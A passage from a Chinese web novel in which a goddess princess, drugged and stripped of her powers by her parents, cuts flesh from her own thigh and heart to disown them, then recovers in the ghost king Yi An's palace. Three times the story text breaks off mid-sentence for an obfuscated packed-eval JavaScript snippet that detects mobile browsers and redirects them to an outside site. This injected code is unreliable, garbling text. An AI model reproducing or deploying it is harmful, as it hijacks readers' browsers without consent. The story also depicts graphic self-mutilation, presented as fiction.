柳渊收起扇子，敲着脑袋，一下，两下，他“嘶”了一声，睁大眼睛道：“你的意思是你生辰那日那么多莲花都来自同一个人？！！” 洛念安点头：“是的。” “谁啊？谁这么大手笔？” “易桉。” “……”柳渊静默片刻，猛地拔高声音：“太阴鬼王？！” 洛念安无言点头。 “你是说那个恶劣至极的太阴鬼王在你生辰那日送了你九千九百九十九盏莲灯？！” 洛念安再次点头，却道：“他不恶劣的。” “……”柳渊无语片刻，皱着眉，再次用扇子敲着头，似乎是脑子不太好使了敲一敲好让它转动起来。过了一会儿，他问道：“那你又为何欠他钱啊？” 洛念安如实道：“上次和他一起逛鬼市，没带钱，是他帮我付的。” “鬼市？！”柳渊再次拔高声音，“他带你去鬼城了？！” 洛念安笑了笑：“那个地方原来叫鬼城吗？” “不清楚到底叫什么，鬼住的城不就是鬼城。”稍停片刻，柳渊继续道，“不是，先不说它到底叫什么。那是太阴鬼王的地盘啊，你真敢跟着他去啊？你就不怕他害你？” 洛念安笑着摆摆手：“他不会害我的。” “……我看你已经被他害了，你被他下了迷魂药，鬼迷心窍了。”柳渊撇撇嘴，又道，“那你既然去了他的地盘，你是客他是主，你逛他的鬼市还要你花钱？哪有这样的道理。依我看啊，你不用还给他，所以也不用愁了。” “还肯定是要还的，但是我是不是应该把这些也都还给他，毕竟人家也没求什么，无功不受禄，我收这些不太好。”说到这里洛念安有些苦恼，“该怎么还才好呢？我直接都搬去给他吗？可是还债的时候已经用掉许多了。” 柳渊以扇轻拍着洛念安的肩膀，放低声音道：“我说念将军你也不用这样发愁，他为你点莲灯是他自愿的，又不是你要的，对吧？再说他怎么没求东西？上面写的清清楚楚，他求得就是让你快乐，你看见那些莲灯开心吗？” 洛念安点点头。 “那就对了，你开心，他心愿就完成了。所以你也不要有负担，安安心心收着就行。他要是愿意给我，我就乐意收着。” 洛念安轻轻笑了笑，道：“那好吧。对了，我现在得去我母后殿中了。” “啊……”柳渊的语气有些失望，“我还说喊你到我殿中吃饭呢。” “下次吧，”洛念安笑了笑，“下午有时间吗？打麻将？” “下午估计不行，我要出任务。”柳渊摇着扇子，语气颇为无奈，“赫连昭那家伙这两天也忙得很，除了昨天殿议，根本不见人影，不然我早起就拉着他找你打麻将去了。” “那好吧，那就下次再约。”洛念安说着就要往外走，“我得快些走了。” 柳渊跟着她一起出了珈洛殿，二人告了别，就分道扬镳了。 22. 剜心还父割肉还母 步入清漓殿时，洛念安莫名叹出一口气，她发现每次踏入这里，都会揣着满满的不快离开。很奇怪，明明这里住着的是她的血缘至亲，在人间她常常想念之人。如今，她总算明白一个道理，有些人相见不如怀念。 殿前几个小仙侍在修花，除草，剩下的散布在各处扫地。洛念安边往前殿走，边欣赏着殿前的花花草草，眼睛一扫，视线里忽然瞥见一个眼熟的东西。她顿足，仔细看去，眉头微蹙，转了方向往旁边一个小仙侍正打扫的地方走去。 “殿下。”仙侍见她来，俯身行礼。 而洛念安的注意力被别的东西吸引，没顾得上理她。她在一处堆起的准备收起来扔出去污秽之物前停下，忽地弯腰伸手过去。 “殿下？！”她的举动倒是把仙侍惊到了，她怎么也不会想到，洛念安会突然过来翻污秽。虽然只是一些掉落的花花草草。 洛念安捏着捡到的东西直起身子，沉默地拿在手里看了半晌，问道：“这是哪里来的？” “这是云祉殿下说不要的。” 洛念安微微提高声音，有些难以置信：“他说不要了？” 仙侍颔首：“是。云祉殿下来时掉落的，我去问了殿下贴身仙侍，他说不是贵重的东西，殿下本来也不太喜欢，就让丢掉。” “......”洛念安将那枚朱砂吊坠紧紧攥在手心，沉默半晌，道：“知道了。” 她将吊坠揣入袖口，继续往正殿去。一进去就看见洛霁禾已经坐在案边，正和念清漓有说有笑着。 “儿臣参见母后。” 念清漓见洛念安进来，面上笑容不变，唤道：“安儿来了，快来。” “......”洛念安浑身一僵，不可置信地看向念清漓。 念清漓依旧挂着温柔的笑：“这孩子，愣着做什么？快来啊。” 洛念安回神，应了一声“是”，便迈步到案边，坐在洛霁禾对面，抬眸平静地看着他。 洛霁禾甜甜地唤了一声：“长姐~” 洛念安回以一个微笑。 念清漓柔声道：“你这孩子，回来后天天也不在神界待着，母后也不知道你现在爱吃什么，就让人备了一些你小时候喜欢的吃食。” 洛念安看了一眼案上的饭菜，有几样确实是她小时候喜欢的，样子很好看，味道很甜，不过她现在依旧不爱吃这样的甜食了。但心里还是感动，笑容一直挂在脸上，看向念清漓：“谢谢母后，确实是儿臣爱吃的。” “那就好。再等等，你父君待会儿就来了。” “好。”洛念安点点头，她似乎从未见过这样待她的念清漓，惊讶之余，分外欣喜。 洛君逸来的确实快，一家人围坐在一起，开席后，念清漓先给洛念安布菜，道：“你小时候最爱吃这个，多吃一些。” “嗯！谢谢母后。”洛念安吃下念清漓夹得甜糕，从嘴里甜到心里。 看见念清漓一直给洛念安夹菜，洛霁禾不愿意了，道：“母后，我也要，你一直给长姐夹，都不管我。” 洛君逸看向他，一副严肃的模样：“最近功课如何了？你长姐现下已为上神，你何时能飞升？” 洛霁禾顿时蔫巴了，但还是道：“我也很快了。” “为父为何听说你最近时常偷懒？” “......”洛霁禾把脸埋进碗里，小声道：“哪有的事，我很用功的。” 念清漓嗔怪道：“小禾还小，男孩子贪玩些不是正常？你不要这样凶他。”她接着道，“你也是，安儿一个女孩子，你为何让她去任武职？这样辛苦她。” 洛君逸无奈道：“她自己愿意任武职。” 洛念安也赶紧道：“是啊母后，是儿臣求父君为儿臣安排武职的，儿臣也喜欢任武职。” “你啊，总是很有想法，不听话。”念清漓虽是在怪她，但语气依旧温柔，听起来就没什么杀伤力，她又给洛念安夹菜，“多吃些，瘦得不成样子，还要那样辛苦。” 洛念安一边接下饭菜，一边扬着笑容道：“儿臣做自己喜欢的事，不觉得辛苦。” “长姐好厉害，我想让长姐教我。”洛霁禾道。 念清漓假意怪他：“你长姐这样辛苦，你不要麻烦她。” 洛念安却是高兴的：“没关系母后，儿臣平时也不太忙的。” 洛君逸道：“平日不太忙就多来陪陪你母后，整日待在外面，她也担心。” 洛念安当然乐意，她点头应下：“是，儿臣知道了。” 现在是洛念安这么多年来觉得最最幸福的时刻。以前她总是看着万家灯火，羡慕别人阖家团圆，如今，她觉得自己以后再也不用去羡慕旁人。 她幸福地睡着了。 不知道自己是何事睡着的，醒来时发现自己躺在清漓殿中。 除此之外，她还发现了另外一件事。 那就是。 她的法力，她体内波涛汹涌的法力，如今像一潭死水一样，静止不动了。 感觉不到了。 …… 洛念安撑着身子坐起身，忽觉头痛欲裂，她捂着头蜷缩在榻上半晌，才又坐起身子。她当过凡人，自然知道凡人是怎样的状态。 和她现在一样。 她盯着眼前的烛台，伸手，想要挪动它。可任凭她怎样集中意念，怎样换手势，那烛台都纹丝不动。 “……”洛念安猛地起身下床，往前迈出几步，又开始头痛欲裂，她重重跌倒在地，捂着头满地打滚。 等疼痛的劲儿过去，她又爬起来，夺门而出，一路跌跌撞撞，摔倒了又爬起来，爬起来再摔倒，头疼的仿佛要裂成碎片。她一路走一路撞，撞进前殿，看见念清漓和洛君逸坐在棋桌边下棋。 洛念安惊慌失措，仿佛抓住救命稻草一般，急忙跑进去，委屈道：“父君，母后，儿臣……儿臣的法力没了，消失不见了……儿臣的头，好痛，特别痛！母后，儿臣好痛，儿臣的法力没了！” 念清漓看了一眼洛念安，声音清冷：“本宫知道。” “？！！” 知道？知道是何意？是她说了才知道，还是…… “……母后？” 她又变成这幅清冷的样子，和吃饭的时候判若两人，和洛念安印象里的一模一样。 洛君逸停下手中的动作，看向洛念安，道：“珈洛，为父与你母后商量，认为你还是不适合任武职，况且你又身负母神之力，为父恐你把握不好徒惹事端，便封了你的法力。往后，你便去任文职吧，好好待在神界，不要再到处乱跑了。”说着，他停顿片刻，语气严肃几分，“也不要再去招惹不该招惹的人。” “……！”这段话的信息冲击着洛念安，使她更加头痛难忍，她捂着头蹲在地上，万分痛苦。豆大的汗珠滴落在玉石地面上，炸开。她抬眼，看向继续下着棋的念清漓，唤道：“母后？” 念清漓停下，侧目看她，似乎有些不耐烦：“何事？” “……”洛念安忽然笑了一下，问道：“母后早就知晓吗？” 念清漓点头，道：“你父君也是为你好。” 洛念安又笑了一下：“为我好？所以今日这顿饭，说到底就是一场鸿门宴对吗？你给我夹得那些菜里面，下了药，对吧？” 念清漓沉默，看样子被说中了。片刻后，她责怪道：“你怎么与本宫说话的？你是在质问本宫？你小时学的规矩去哪了？真是不成体统！从来都不听话，说什么你都不听，你早去做文职，至于到如今这样吗？你父君只是暂时封你的法力，等你自己想通了，自然会解了你身上的封印。” “……”洛念安低垂着头，跪坐在地上，她突然觉得很好笑，自己很可笑，还以为……以为什么呢……不知道了…… “为何非要让我任文职？你们在怕什么？怕我抢了你们宝贝儿子的风头吗？什么狗屁把握不好？是害怕吧！怕我比你们的宝贝儿子强！太可笑了！我真愚蠢！竟然对你们不设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14413642|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 防，真是蠢到极点了！我在人间五百年，你们从来没有出现过一次！我回来这么久，也从没有过问一句！”洛念安怒视着念清漓：“你！对我除了责怪就是责怪！你有什么资格责怪我？！这么多年你教过我什么？！我就是没规矩！因为我在人间摸爬滚打了五百年啊！谁教过我？你教过我吗？？你有什么资格教训我？”她又看向洛君逸：“还有你！当初不听我一句辩解，说把我扔下去就扔下去！有时候我真怀疑我到底是不是你们的亲生女儿！！” “放肆！”洛君逸一拍桌子，黑白棋子稀稀拉拉撒了一地。 “放肆！”念清漓一下子站起来，气的脸都红了：“真是放肆！我辛辛苦苦把你生下来，到头来还没资格教训你了吗？你是在怪我吗？是我让你犯的错吗？！是你父君让你犯的错吗？！真是养了一只白眼狼！” “对！”洛念安喘着粗气，哈哈笑了几声，道：“对！我是白眼狼！我没良心！我对不起你们！是我求你生下我的吗？！你有问过我的意愿吗？！生下来却不管不教，生我做什么？！小的时候，你们就一直把我关在殿中，一个月只来看我一次，每次都是匆匆来，匆匆走。”她看向念清漓，气势突然弱了下来，“我求你留下来陪陪我，你从来都不理。我也不知道我做错了什么要被你这样对待，我也不知道。” 她用袖子胡乱擦去脸上的泪水，视线逐渐清晰，上面两人脸上的冷漠也逐渐清晰。 “……”洛念安喃喃自语道：“算了，总是我自己困住自己。”她跪直身子，突然从袖中抽出一把小巧精致的银制匕首，这匕首还是上次在易桉那里看见，觉得好看，易桉便送给她的。 “你要做什么？！”念清漓往后退一步，拔高声音。 洛君逸站起身，将她护在身后，对洛念安怒目而视：“你想做什么？！” 下一刻，洛念安便将匕首插进了自己的大腿处。 念清漓惊呼：“你做什么！” 洛念安盯着她，咧嘴笑了起来，她咬牙，口中一字一句道：“我不想困着自己了，也不想……做你们的女儿了。” 手上动作不停，她接着道：“我是你身上掉下来的……一块肉，没错，那我现在还给你！”话落，她生生割掉自己大腿上的一块肉。银刀滴着鲜红的血液，伴随着念清漓的尖叫声，插入洛念安的心口处。 心脏“砰砰砰”狂跳不止，顺着刀刃的血液簌簌流下。匕首在心脏处搅动，洛念安硬生生剜出一块肉，掉在地上。血疯狂流着，心脏好似停止一瞬，又开始疯狂跳动。洛念安趴跪在地上，手中的银刀磕在地上发出“叮”的一声，视线渐渐模糊，又清明。心脏似在跳动，又停止。她倔强地抬起头，盯着洛君逸，开口道：“你不是……给了……我一条命吗……我……还给你……从此，以后……我与你们……再无……瓜葛……” 说完，她强撑着一口气从地上爬起来，将匕首放入袖子，拖着一条少了一块的腿，一步一瘸地离开了清漓殿。她想离开，想回玉兰观，但是浑身上下好似每一处都剧痛无比，让她不得不停下来，心脏跳动时强时弱，视线逐渐模糊起来，她好像看见有人过来，又匆匆离开，又好像看见有人站在一旁交头接耳。她有些分不清这里是哪里了，她只是凭着印象走着，想要走到天门去，想回去，但是现在法力全无，她也不知道跳下去会出现在哪里了。 她有点走不动了。 她好像要死了。 她还能不能回去了？ 她想再见见易桉。 她好像真的看见易桉了。 她真的要死了吗？都出现幻觉了。 幻觉里，一只巨鹰从裂缝里蹿出，鸣叫着盘旋在空中。易桉跟着巨鹰出现，面色铁青地走到她面前，横打抱起了她。 她好像真的落入了一个温暖而又结实的怀抱。 她闭上眼，意识在消逝，甚至都不知道自己在说什么，但还是在说着：“易桉，是你吗？” “易桉，我要死了吗？” 23. 伤重扬言推翻神界 洛念安好似身陷梦境，梦里听见有人说：“去玉兰观把叶蓉叫来。” 这个人的声音很熟悉，让人安心。 她突然感觉到有一股暖流注入体内，源源不断，身上的疼痛消解了不少，很舒服。 好像有许多人在她身边，不知道在做些什么。 又听见有人说：“洛姐姐说她母后晌午喊她过去，怎么突然成这样了？神界是什么吃人的魔窟吗？” 不久后，远处响起一道清冷男声：“想来是在濒死之际，神脉觉醒，为了护住她，阴差阳错又恢复了神力。”顿了顿，他继续道，“不必如此紧张，她是正统神族血脉，没有那么容易出事。” 另一道男声响起：“你还有事？” 另一人似乎沉默了片刻，然后道：“我那处有护心脉的神药，你派人去取就是。走了。” ...... 眼皮似有千斤重，互相打了一会儿架，洛念安才缓缓睁开眼睛。 一眼就撞上了易桉的视线，他原本紧绷的脸顿时绽开笑容，声音很轻，似怕将其撞碎一般：“姐姐，你醒了？” 洛念安脑袋空空，呆呆望着易桉。 易桉轻轻笑着，伸手给她掖了掖被子。这时叶蓉端着药进来，看见洛念安，欣喜道：“洛姐姐醒了？” “小声些。”易桉接过药碗。 叶蓉忙闭紧嘴巴，将手中的端盘放在一旁，立在不近不远处，朝洛念安挥挥手。 洛念安侧目看着她，扯了扯嘴角。 易桉吹凉了药，递到洛念安嘴边，道：“姐姐，喝药了，喝药恢复得快。” 洛念安的脑子里顿时响起两道声音： “小初，喝药了。” “姐姐，好苦，我不想喝。” “喝药恢复得快呀，我这有糖，喝完给你吃，不苦，甜的。” 洛念安微微一怔，遗忘的记忆倒是被熟悉的话语牵出来了。 见洛念安不动，易桉笑了笑，道：“不苦，甜的。” 洛念安回过神，张开嘴，喝了那勺药，竟真的是甜的。 喝完一碗药，洛念安才有机会开口，声音沙哑：“真的是你。” 易桉放好药碗，望向她，轻声笑着，道：“当然是我，一直是我。” 洛念安有点没明白他的意思，叶蓉上来给她擦嘴，打断了她的思绪。忙活着，寝殿内进来一个人，一身白衣，头上插着几根孔雀羽毛，对着易桉微微颔首：“王，他们又来了。” 易桉闻言，站起身，对叶蓉道：“照顾好她。”便迈步出去了。 “是。”叶蓉目送着易桉离开，侧身坐在榻上，看着洛念安，絮絮叨叨跟她说着话：“洛姐姐，你可算醒了，你快吓死我了。回趟神界搞成这个样子，差点命都没了。你知道吗，你都昏迷三日了！唉......” 洛念安扯着嘴角：“抱歉，让你担心了。” “这有什么可抱歉的啊，你好好的就行了。”叶蓉又给她掖了掖被子。 洛念安侧目看了一眼殿门口，问道：“他去哪了？谁来了？” “哦，说是神界来了两个人，这三日天天来闹事，王去收拾他们了。” “两个人？”洛念安眉头一蹙：“是柳渊和赫连昭吗？” 叶蓉摇头：“我不知道啊。” 洛念安掀开被子，挣扎着起身。叶蓉吓了一跳，忙去扶她：“洛姐姐你做什么？突然起身做什么？你伤口还没长好呢。” 起身失败，洛念安又躺了回去，她握住叶蓉的手腕道：“来的两位应该是我的朋友，他们可能是担心我，麻烦你，去帮我和易桉说说，让他们别打起来了。” “行行行，我去和孔玉说，你别着急啊，千万别急。” 叶蓉出去了。过了有一会儿，洛念安再次尝试起身的时候，易桉推门进来了，跟在他身后的是叶蓉，柳渊，还有赫连昭。 洛念安放心地躺了回去，柳渊看上去倒没什么，但是赫连昭的黄毛炸了些，想来应该是过了几招。 “念将军？！”柳渊兴奋地朝洛念安挥手，大声唤道。 易桉顿步，冷眼瞥他：“再喊滚出去。” 柳渊撇撇嘴，趁易桉回头的功夫在他背后使劲翻他白眼。 走到离洛念安两丈远的位置，易桉拦在那，他们没法靠近了。但也没人在意，柳渊还是很兴奋，声音却是放低了许多：“念将军，你还好吗？看到你没事真的太好了。我做任务的时候听见神界读神阵在讨论这件事，吓死了，赶回去的时候你已经被……”他瞟了易桉一眼，继续道，“带走了，没赶上。” 赫连昭依旧是冷着脸，他别扭道：“我，我当时也不在神界。” 易桉轻哼一声，道：“马后炮就不用放了。” 两人被堵上嘴，说不出话来。 洛念安适时开口了：“多谢二位将军挂念，我已经没什么大碍了。” 柳渊看着洛念安，蹙着眉道：“念将军，神界都在传你与帝君帝后断绝关系，为何……” “再说滚出去。” “......” 洛念安先对着易桉道：“没事的，小桉。”又看向柳渊，“传言属实，其他的，我......” 柳渊了然点头：“知道了，但是无论你做出怎样的决定，我都支持你。” 洛念安微微一笑：“谢谢。” 柳渊戳了戳身边的赫连昭：“你没什么要说的吗？” 赫连昭顶着一头炸毛，视线几次落在洛念安身上又移开，最后憋出了一句：“好好休养。” “......”柳渊白了他一眼，嘀咕一句：“没用的东西。” 易桉抬起一条胳膊拦在他们面前，有些不耐烦道：“看也看了，可以滚了。” 柳渊看向易桉，扯出一个自认为很友善的笑：“鬼王阁下，你看啊，虽然我们不是好朋友，但也算得上是好牌友。当然我们很感激你闯进入神界救下念将军，但是念将军她毕竟是神......” 易桉收回胳膊，又做回了抱臂的姿势，他垂眸睨着柳渊：“搞清楚，这是我的地盘，不要妄想从我这里带人走。”他的语气虽与平常无异，但能让人感觉到他已经不耐烦到了极点，“若不是看在赢了你几个铜板的份上，你们早在三日前就该有来无回了。”说完，他也不给柳渊继续说话的机会，唤道，“孔玉，送客。” “......”人在屋檐下不得不低头了。柳渊边往外走边艰难扭头对洛念安道：“念将军，你放心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14421237|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好休养，我们下次有机会再来看你。神界的事情你也不用担心，我们会帮你处理的！念将军再见！” 虽然声音不大，但洛念安还是坚持道：“二位将军慢走。”也不知道他们有没有听见。 他们走后，易桉迈步走到洛念安身边坐下，期间给了叶蓉一个眼神。叶蓉接收成功，开口道：“我去看看饭做好没有。”然后转身迅速离开了，顺带着关上了殿门。 洛念安盯着易桉那道冷硬的下颚线看了半晌，突然想起什么事，出声问道：“你上次为了我进了神界，没关系吗？会不会有人来找你麻烦？” 易桉哼笑一声：“来了才好，正好有气没处撒。” 洛念安从被子里伸出一只手，握在易桉手腕处冰冷的护腕上，道：“你是在生我的气吗？” 易桉垂下眸，视线落在护腕处的那只白皙纤细的手上，久久移不开视线。 “怎么可能，”他道：“我怎么会生姐姐的气。”顿了顿，他继续道，“只是这样的事情，不要再有下次了。” 洛念安动动手指，轻轻拍了拍他，声音很轻，似是在哄他一般：“不会了，不会再有下次了。” 易桉的视线上移，对上洛念安的视线，也不说话，就这样直直地盯着她。盯得洛念安汗毛直竖，吞咽一下，道：“怎，怎么了？” “姐姐，若你心里不舒服，不如我助你翻了那神界，你去做神界的老大。”易桉收回视线，再次落在那只白皙纤细的手上，“那时就不会有人再让你受这种委屈。” 他这番话让洛念安震惊到久久说不出话来，直到再次对上易桉的视线，她才结结巴巴道：“不，不用了吧。这次是我自己做出这样的决定的，这个决定让我觉得很轻松，我不后悔，也不怨其他任何人。若是......会殃及旁人的吧？”说着她摇摇头，坚定道，“这样是不对的，这样会伤害到许多无辜的人。” 易桉沉吟片刻，忽地轻笑出声，道：“好，那就听姐姐的。” 洛念安看着他，这会儿她也分不清易桉所说到底是认真的还是开玩笑的了。 这时，叶蓉轻轻敲了敲殿门，小声道：“王上，饭好了，要现在端进去吗？” “进来。” 得到允许，叶蓉推开了殿门，小心瞥了两人一眼，垂眸走进来，将端盘放在一边。 易桉端起一碗，用勺子搅了搅，吹凉。 叶蓉上前来小心扶着洛念安坐起身。她看了一眼易桉手中的东西，看着像什么补品，又看向端盘里的东西，还是补品，她道：“我想吃辣的。” “姐姐有伤，暂时不可以吃辛辣。” 洛念安撇撇嘴，有点小失落。 易桉笑了笑，道：“听话，快些养好伤，就可以吃了。” “......”这话让洛念安迅速涨红了脸，她觉得自己好像生病的小孩子在撒娇，而易桉真的任由她撒娇了，还颇有耐心地哄着她，明明自己比他大了不知道多少岁。看着送到嘴边的勺子，她无论如何也泰然自若不下去了，接过易桉手上的银碗，脸都快要埋进碗里，低声胡言乱语着：“我来吧，我自己来，自己吃。” “慢点，”易桉道：“烫。” 洛念安连连点头：“好的好的。” 24. 公主误闯观鬼王浴 洛念安在榻上躺了几日，深感人生无趣。和易桉好说歹说，软磨硬泡好半天，他才同意让她出去转转。 她被叶蓉搀扶着下地，大腿还有些隐隐作痛，但是和能出去呼吸新鲜空气比，这点痛算什么。易桉没有伸手，却一直跟在她身边，问她可不可以。 洛念安：“非常可以。” 她总算是踏出了这座殿门，站在门口看着满园的玉兰花，洛念安深吸一口气，顿觉如获新生。 易桉带着她们往殿后走去，穿过长廊，又绕了几圈，来到一处很空旷的地方。四周扔种着玉兰树，中间空旷之地有—— 一只黑豹和一只老鹰在打架。 此情此景可以用一个词来形容——鸡飞狗跳。 黑豹将鹰的羽毛咬的到处乱飞，鹰也不甘示弱，爪子勾着它的皮毛，在它背后使劲儿啄它。 易桉大概是司空见惯了这幅场景，只轻咳一声，那边打得正欢的两只瞬间老实。双双侧目，看见易桉，齐刷刷往这边来了。 洛念安看着它们：“荧目黑豹，海东青？” 黑豹已经蹿到易桉身边，正蹭着他的腿，似在撒娇。海东青显得有骨气得多，只昂首立在那，正一瞬不瞬地盯着洛念安看。 “嗯。”易桉伸手摸了两把豹子头，道：“这只姐姐之前见过。” 话落，黑豹从易桉身边离开，蹭到了洛念安面前。洛念安笑了笑，伸手轻轻摸了摸它的脑袋。这两只的体型比寻常的都要大很多，那只海东青立在那里几乎和洛念安一样高了。 黑豹皮毛顺滑，洛念安忍不住多摸了几下，问道：“它有名字吗？” “阿离。” 听到这一声，名唤阿离的黑豹又转到易桉身边去了。 洛念安看向面前的海东青：“那它呢？” “苍。” 海东青看向易桉，振了振翅膀。 洛念安看着它轻轻笑了笑，道：“它我也是见过的。在九天郡，还有，神界。”她转而看向易桉，“它陪你一起去的是吗？” 易桉勾唇，点头：“是。”他拍了拍阿离的背，阿离就又来到洛念安身边和她一起玩了。 洛念安一边摸着它的皮毛，一边扭头看向一个劲儿往自己身后躲的叶蓉，小声问道：“怎么了？你害怕吗？” 叶蓉瞥了一眼易桉，看他正在喂苍，才放心凑到洛念安耳边小声道：“有点，对我们来说，他们俩谁出现都没什么好事。” 洛念安忍不住笑了笑，好心道：“其实上次就是阿离带我找到你的。” 叶蓉露出一副“果然”的神情，道：“你看，我说的吧。” 洛念安轻笑出声，安慰她道：“没事的，不要怕，你摸摸它试试看，它很乖的。” “不要，”叶蓉拒绝：“我怕它咬我。” 洛念安忍住笑，也不劝她了，转过来继续逗着阿离。叶蓉在一边看着，见没人注意到她，悄咪咪靠过来，伸手偷偷摸了两把。阿离没什么反应，仍是眯着眼一副很享受的样子。洛念安笑着看向叶蓉，轻声道：“我说的吧。” 叶蓉点点头，露出笑容，道：“没想到手感这么好。”说着她又挽上洛念安的胳膊，“洛姐姐，我就知道跟着你就对了，连王的荧目黑豹都能摸。” “跟我好像没什么关系吧。”洛念安道。 “怎么会没关系，你去问问除了你，王上，和我，谁还摸过它？当然我是沾了洛姐姐你的光。” “还有孔玉呢？”孔玉真身是一只白孔雀，据洛念安这几日观察，应该是易桉的贴身侍从。故而她便自然而然地认为，孔玉也负责喂养阿离和苍。既然能喂，摸一摸应该也没什么吧。 “孔玉不负责喂养它们，只有我。”易桉忽然出声，把这边说悄悄话的两人吓了一跳。叶蓉紧急闭嘴，洛念安看向他，扬起笑，道：“是吗？哈哈，养的真好啊。”其实她也不清楚为何要与叶蓉讨论这个无聊的问题，所以被抓包后还有点小尴尬，然后开始胡言乱语。 易桉笑了笑，继续道：“孔玉也是我养的，只不过他化了形。” 洛念安疑惑：“那它们为何没有化形？” “我不让。” “啊？” “觉得化形后反而不好玩了。” 洛念安愣了愣，轻笑出声，这个理由啊，倒是清奇。 随着洛念安伤势转好，出来活动的次数越来越多，大多数时间易桉都在她身边陪着，说了很多次不用管她都不听。叶蓉倒是听了，没事就去鬼市晃悠几圈，因为易桉给她发了工钱。当然这件事洛念安是不知情的。 这天夜里，洛念安照常在玉兰树下穿梭着，晃悠着。易桉陪她吃过晚饭，现在不知去了哪里。叶蓉多半又跑去鬼市玩了。她一路闲逛，这安乐殿布局极为复杂，内里长廊纵横交错，通往不知名处。她也不往别处去，只在自己寝殿周围活动。逛着逛着，视线里忽现一抹紫色，洛念安顿足，凝神往那边看去，紫色又忽然消失不见了。 她来不及细想，抬腿跟了上去。 洛念安来到方才紫色出现的位置，一眼就看见了前面鬼鬼祟祟的披着紫色斗篷的人。她侧身藏匿于树后，看到那人四下张望着，又转过头观察身后。洛念安小心探出头看去。 竟然是那日鬼市的那个女妖？！ 她也住在安乐殿吗？可是为何这几日都没见过她？洛念安微微蹙眉，看她往前去了，于是也迈步出去，悄无声息地跟在她身后。斗篷女妖十分小心，不知她要做什么，走一步停半天，然后四下张望。 看着，也实在不像是住在这里的。 难道是闯进来的？！洛念安微微睁大眼睛，易桉的住处，无端闯进来一妖他难道不知道吗？ 洛念安略一思索，决定跟上去一探究竟。 她跟了一路，想来前面那位修为也不怎么样，这么久都没发现身后有人。她们穿过树林，又跨过长廊，斗篷女要一路走一路看，每路过一座殿都悄咪咪地躲在门边，小心隔着门缝往里看去。也不知她到底要寻找什么，只看，也不进去，一路拐来拐去，像无头苍蝇一般。后来洛念安总算是看出来了，她迷路了，不仅是她，自己也迷路了。不知道该如何回去了。 这下倒好，跟人把自己也跟丢了。 洛念安正回忆着来时的路，看见斗篷女妖忽然推开了一座殿门，然后走了进去。她心里一惊，忙跟了上去，在门口细听一番，没动静，便小心将门推开一条缝隙，贴上去朝里看去。 没人？！ 这座殿很空旷，字面意思，很空，空无一物，也空无一人。 人呢？ 洛念安带着疑问推开门，迈步跨了进去。警惕着往里走了几步，确定这里确实是空无一物后，才放心大胆地往前走，然后脚下一亮。 待她反应过来这是个传送阵后，自己已经身在他处了。 此时，她正身处在一个……浴池？！ 洛念安第一眼是满是花瓣的浴池，第二眼是浴池中的沐浴之人，那人肤色雪白，宽肩窄腰，后腰处纹着一朵朵绽放的玉兰花，墨色在他皮肤的映衬下有些刺目。许是注意到这里多了一个人，那人转身，打湿的长发揽在左肩头，落下来，又漂在水面上。洛念安一眼就看见了他心口处也纹了东西，但是没看清，因为她已经撞上了易桉的视线，于是大脑开始发懵，一片空白。 易桉直勾勾地盯着她，她也直愣愣地看着他，谁也没有说话，谁也没有回避。易桉不知道是为何，而洛念安完全是因为震惊懵了，没反应过来。 一直到易桉勾起唇角。洛念安才如梦初醒，猛地捂住眼睛，同时转身，心脏“砰砰”直跳，血液瞬间涌上面颊，连带着耳朵都发红发烫。 “对不起对不起对不起！！！”洛念安大声道着歉，以此来疯狂掩饰自己的慌张无措，尴尬非常，还掩饰着其他的，她自己都不知道的什么东西。 “我我我，我……”她“我”了半天也没“我”出个什么所以然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14436285|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，该怎么解释她突然出现在这？说她跟着一个可疑的人然后莫名其妙出现在这里？太莫名其妙了吧？那人去哪了？那人都不见了，谁会信啊？反正她是不信。 无措间，她听见易桉出了水，又穿上衣服，然后踏着水来到了她身后。 “姐姐。” 洛念安不敢应，也不敢转身。 易桉轻笑一声，突然俯身附在她耳边，声音很低很沉，带着蛊惑：“姐姐可要对我负责啊。” 洛念安惊地眼睛都顾不得捂了，瞳孔微张，大脑持续空白，好像还有点耳鸣了。震惊半天，她只能磕磕巴巴地道：“我，我，你，我……” 易桉又笑了一声，凉凉的气息打在洛念安的面颊上，让她直觉的腿软。 一定是伤口还没恢复好。 “开个玩笑，”易桉忽然道：“姐姐不要介意。” 洛念安摇摇头，终于鼓起勇气转过身子，抬头看着易桉，褪去伪装的他身量更高，仍旧戴着那小半张面具，刚刚沐浴的时候都没摘掉。长发依旧是湿的，白色里衣披在身上，带子松松垮垮系在腰间，影影约约能看到结实发达的肌肉群。眼前一副美男出浴写实图，洛念安微微一愣，下意识吞咽了一下。 